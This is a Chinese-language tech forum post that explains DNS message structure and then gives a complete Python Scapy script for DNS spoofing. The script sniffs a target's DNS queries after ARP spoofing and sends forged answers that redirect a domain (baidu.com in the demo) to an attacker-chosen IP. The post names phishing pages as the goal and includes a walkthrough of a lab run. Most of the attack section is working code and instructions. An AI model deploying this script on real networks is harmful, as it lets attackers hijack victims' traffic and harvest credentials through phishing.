电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 2261 人浏览分享

python脚本实现~DNS欺骗攻击

[复制链接]
2261 0
DNS

DNS即域名系统 英文:Domain Name System 缩写:DNS 是互联网的一项服务。它作为将域名和IP地址
相互映射的一个分布式数据库 能够使人更方便地访问互联网。DNS使用TCP和UDP端口53。当前 对于每一
级域名长度的限制是63个字符 域名总长度则不能超过253个字符。

DNS协议

DNS协议即域名解析协议 是用来将域名转换为IP地址。

DNS协议报文格式

会话标识:是DNS报文的ID标识 对于请求报文和其对应的应答报文这个字段是相同的通过
它可以区分DNS应答报文是哪个请求的响应。

标志:

QQ截图20210603160832.png

数量字段:Questions Answer RRs Authority RRs Additional RRs 各自表示后面的四个区域的数目
Questions表示查询问题区域节的数量 Answers表示回答区域的数量 Authoritative namesversers表
示授权区域的数量 Additional recoreds表示附加区域的数量。

DNS欺骗原理

冒充域名服务器 或者修改dns响应包中的解析结果换成攻击者的IP地址 这样的话 就会指向攻击者ip地址如果我们写
成一个钓鱼页面放入apache或者nignx上部署,我们可以修改指向钓鱼网页服务器的ip和端口 进行欺骗钓鱼。

DNS欺骗实现

首先欺骗者向目标机器发送构造好的ARP应答数据包 ARP欺骗成功后 监听53端口的dns数据包 筛选目标ip地址
的dns数据包 获取请求报文,删除部分参数,修改数据包中的源ip和目标ip,源端口和目标端口 构造响应报文
修改anwser包中的解析结果,换成攻击地址 发送给被攻击者。

代码实现
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. # @File  : DNS_attack.py
  4. # @Author: Feng
  5. # @Date  : 2020/11/18
  6. # @Desc  : trace
  7. from scapy.all import *
  8. import sys
  9. # dns包 = IP()/UDP()/DNS(id,qr,opcode,rd,qd=DNSQR(qnname=dns_name), verbose=False) id标识
  10. 匹配请求与回应 qr 0表示查询报文 opcode 0表示标准查询 rd 1表示递归
  11. def DNS_Spoof(data):
  12.     try:
  13.         # ip_fields = data.getlayer(IP).fields
  14.         # udp_fields = data.getlayer(UDP).fields
  15.         # dns_fields = data.getlayer(DNS).fields
  16.         #print(ip_fields)
  17.         #print(udp_fields)
  18.         # print(dns_fields)
  19.         req_domain = data[DNS].qd.qname
  20.         print(str(req_domain).split("'")[1])
  21.         print(str(data[IP].src))
  22.         print(str(data[IP].src) == '192.168.31.135')
  23.         print(str(req_domain) == 'www.baidu.com')
  24.         if str(data[IP].src) == '192.168.31.135':
  25.             #if str(req_domain).split("'")[1].find('baidu.com'):
  26.                 print(str(req_domain))
  27.                 del (data[UDP].len)
  28.                 del (data[UDP].chksum)
  29.                 del (data[IP].len)
  30.                 del (data[IP].chksum)
  31.                 res = data.copy()
  32.                 res.FCfield = 2
  33.                 res.src, res.dst = data.dst, data.src
  34.                 res[IP].src, res[IP].dst = data[IP].dst, data[IP].src
  35.                 res.sport, res.dport = data.dport, data.sport
  36.                 res[DNS].qr = 1
  37.                 res[DNS].ra = 1
  38.                 res[DNS].ancount = 1
  39.                 res[DNS].an = DNSRR(
  40.                     rrname = req_domain,
  41.                     type = 'A',
  42.                     rclass = 'IN',
  43.                     ttl = 900,
  44.                     rdata = '220.220.220.220'
  45.                 )
  46.                 sendp(res)
  47.         else:
  48.             print('不是目标主机')
  49.     except Exception as e:
  50.         print(e)
  51. def DNS_S(iface):
  52.     sniff(prn=DNS_Spoof,filter='udp dst port 53',iface=iface)
  53. if __name__ == '__main__':
  54.     DNS_S('Realtek 8812BU Wireless LAN 802.11ac USB NIC')
复制代码

以www.baidu.com解析为例,构造dns响应包,dns包 = IP()/UDP()/DNS(id,qr,opcode,rd qd=DNSQ
R(qnname=dns_name), verbose=False) id标识 匹配请求与回应 qr 0表示查询报文 opcode 0表示标准
查询 rd1表示递归 做一些筛选条件判断,用wireshark监听结果。

iface参数:指的是自己的无线网卡的name 目标机器是192.168.31.135,本机192.168.31.225网关
192.168.31.1 解析结果改为220.220.220.220首先run一下之前写的arp脚本 进行arp欺骗攻击。

QQ截图20210603161300.png

然后进行dns欺骗攻击

99.png

匹配到baidu的结果 打印出来,wireshark中也抓取了icmp的ping包 由于arp攻击造成被攻击者流量
无响应后期可以用流量转发把流量包在转给目标主机形成一个循环!

16.png

展示一下攻击的结果 百度被解析成了设定的结果

8.png

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.